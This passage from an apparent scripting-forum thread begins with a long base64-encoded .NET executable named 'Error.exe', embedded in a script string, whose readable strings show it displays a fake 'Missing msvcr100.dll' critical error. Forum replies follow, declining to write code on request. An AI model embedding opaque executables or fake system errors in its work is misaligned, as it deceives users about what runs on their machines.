NcgAAAAAIMYmwMGAAIA" & _
        "5CAAAAAAkwheA40AAgAsIQAAAACTCH0AkgACAEMhAAAAAJMIiQCXAAIATCEAAAAAlgiSBJ0AAwBjIQAAAACGGJsDBgADAGwhAAAAAJEYoQOJAAMAAAABALECAAABAKECCQCbAwEAEQCbAwYAGQCbAwoAKQCbAxAAMQCbAxAAOQCbAxAAQQCbAxAASQCbAxAAUQCbAxAAWQCbAxAAYQCbAxUAaQCbAxAAcQCbAxAAkQCbAwYAmQCbAxoAoQCbAwYAqQCbAwYAyQCbAyAAeQCbAwYA2QC9AAYAeQC9ABUA4QCbAwYA6QA2ACoA+QC/BBAAAQHIBDAAiQCbAwYAIQFmAEYAIQHYBE8AsQCbA1UA0QCbAwYAOQEZAGcAKQCTAOIBLgALALEALgATALoALgAbANkALgAjAOIALgArAO0ALgAzAO0ALgA7AO0ALgBDAOIALgBLAPMALgBTAO0ALgBbAO0ALgBjAAsBLgBrADUBSQCTAOIBgABzAEIBgwB7AEcBgwCDAEIBgwCLAEIBowCLAEIBowB7AIgBJgA+AF0AYgAEAAEABQADAAAAYgOiAAAAnQCnAAAAlgSsAAIABgADAAIABwAFAAEACAAFAAIACQAHAASAAAABAAAAAAAAAAAAAAAAAJUDAAACAAAAAAAAAAAAAABwABAAAAAAAAIAAAAAAAAAAAAAAHAAWQQAAAAAAgAAAAAAAAAAAAAAcADqAgAAAAAAAAAAAQAAAAsEAAAAAAAAAEZvcm0xADxNb2R1bGU+AG1zY29ybGliAFN5bmNocm9uaXplZABkZWZhdWx0SW5zdGFuY2UAc2V0X0F1dG9TY2FsZU1vZGUASURpc3Bvc2FibGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAVHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmUAQXBwbGljYXRpb25TZXR0aW5nc0Jh" & _
        "c2UARGlzcG9zZQBFZGl0b3JCcm93c2FibGVTdGF0ZQBTVEFUaHJlYWRBdHRyaWJ1dGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAHZhbHVlAEVycm9yLmV4ZQBkaXNwb3NpbmcAU3lzdGVtLkNvbXBvbmVudE1vZGVsAENvbnRhaW5lckNvbnRyb2wAUHJvZ3JhbQBTeXN0ZW0ARm9ybQByZXNvdXJjZU1hbgBNYWluAE1lc3NhZ2VCb3hJY29uAFN5c3RlbS5Db25maWd1cmF0aW9uAFN5c3RlbS5HbG9iYWxpemF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAEN1bHR1cmVJbmZvAGdldF9SZXNvdXJjZU1hbmFnZXIAU3lzdGVtLkNvZGVEb20uQ29tcGlsZXIASUNvbnRhaW5lcgBFcnJvcgAuY3RvcgAuY2N0b3IA" & _
        "U3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAFN5c3RlbS5SZXNvdXJjZXMARXJyb3IuUHJvcGVydGllcy5SZXNvdXJjZXMucmVzb3VyY2VzAERlYnVnZ2luZ01vZGVzAEVycm9yLlByb3BlcnRpZXMAU2V0dGluZ3MAU3lzdGVtLldpbmRvd3MuRm9ybXMATWVzc2FnZUJveEJ1dHRvbnMAY29tcG9uZW50cwBPYmplY3QAZ2V0X0RlZmF1bHQARGlhbG9nUmVzdWx0AEluaXRpYWxpemVDb21wb25lbnQAc2V0X1RleHQAU2hvdwBNZXNzYWdlQm94AGdldF9Bc3NlbWJseQAAAAAAC0YAbwByAG0AMQAAKU0AaQBzAHMAaQBuAGcAIABtAHMAdgBjAHIAMQAwADAALgBkAGwAbAAAHUMAcgBpAHQAaQBjAGEAbAAgAGUAcgByAG8AcgAANUUAcgByAG8AcgAuAFAAcgBvAHAAZQByAHQAaQBlAHMALgBSAGUAcwBvAHUAcgBjAGUAcwAAAMV/NQRuMTFLlGS1/BT6/wgABCABAQgDIAABBSABARERBCABAQ4EIAEBAgUgAgEODgUgAQERYQMHAQIFIAEBEXkNAAQRgIUODhGAiRGAjQcHAwISWRJZCAABEoCREYCVBSAAEoCZByACAQ4SgJkEBwESXQQHARIUCAABEoCdEoCdCLd6XFYZNOCJAwYSQQMGElkDBhJdAwYSFAMAAAEEAAASWQQAABJdBQABARJdBAAAEhQECAASWQQIABJdBAgAEhQIAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBCAEABwEAAAAACgEABUVycm9yAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE3AAApAQAkNTY0" & _
        "YmY1NzktNGZmYi00YTAxLWE2Y2UtMWNlNGNmYzQ5NjY1AAAMAQAHMS4wLjAuMAAABAEAAABAAQAzU3lzdGVtLlJlc291cmNlcy5Ub29scy5TdHJvbmdseVR5cGVkUmVzb3VyY2VCdWlsZGVyBzQuMC4wLjAAAFkBAEtNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLkVkaXRvcnMuU2V0dGluZ3NEZXNpZ25lci5TZXR0aW5nc1NpbmdsZUZpbGVHZW5lcmF0b3IIMTEuMC4wLjAAAAgBAAIAAAAAAAC0AAAAzsrvvgEAAACRAAAAbFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJzaW9uPTIuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAAAAAAAAAAAAFBBRFBBRFC0AAAAAAAAAJTQXFkAAAAAAgAAABwBAABULgAAVBAAAFJTRFMFxTYaQWbZQJBB1uRtXmK/AQAAAEM6XFVzZXJzXGdvcm5vXERvY3VtZW50c1xWaXN1YWwgU3R1ZGlvIDIwMTVcUHJvamVjdHNcRXJyb3JcRXJyb3Jcb2JqXERlYnVnXEVycm9yLnBkYgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAmC8AAAAAAAAAAAAAsi8AAAAgAAAAAAAAAAAAAAAAAAAAAAAA" & _
        "AAAAAKQvAAAAAAAAAAAAAAAAX0NvckV4ZU1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACABAAAAAgAACAGAAAAFAAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAGgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAIwDAACQQAAA/AIAAAAAAAAAAAAA/AI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBFwCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAADgCAAABADAAMAAwADAAMAA0AGIAMAAAABoAAQABAEMAbwBtAG0AZQBuAHQAcwAAAAAAAAAiAAEAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAAAAAAA0AAYAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAARQByAHIAbwByAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAANAAKAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABFAHIAcgBvAHIALgBlAHgAZQAAAEgAEgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAA" & _
        "MgAwADEANwAAACoAAQABAEwAZQBnAGEAbABUAHIAYQBkAGUAbQBhAHIAawBzAAAAAAAAAAAAPAAKAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEUAcgByAG8AcgAuAGUAeABlAAAALAAGAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABFAHIAcgBvAHIAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAACcQwAA6gEAAAAAAAAAAAAA77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9InllcyI/Pg0KDQo8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDxhc3NlbWJseUlkZW50aXR5IHZlcnNpb249IjEuMC4wLjAiIG5hbWU9Ik15QXBwbGljYXRpb24uYXBwIi8+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYyIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcyB4bWxucz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTphc20udjMiPg0KICAgICAgICA8cmVxdWVzdGVkRXhlY3V0aW9uTGV2ZWwgbGV2ZWw9ImFzSW52b2tlciIgdWlBY2Nlc3M9ImZhbHNlIi8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgPC9zZWN1cml0eT4NCiAgPC90" & _
        "cnVzdEluZm8+DQo8L2Fzc2VtYmx5PgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAADEPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
MsgBox(0, '', $stext)

 

Link to comment
Share on other sites

2 hours ago, colegero said:

You can show how to implement this in my code?

As was pointed out to you before:

18 hours ago, JLogan3o13 said:

it is not a place where you put in a request and someone barfs up code for you.

And please stop quoting entire previous posts, as it needlessly pads out the thread.;)

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...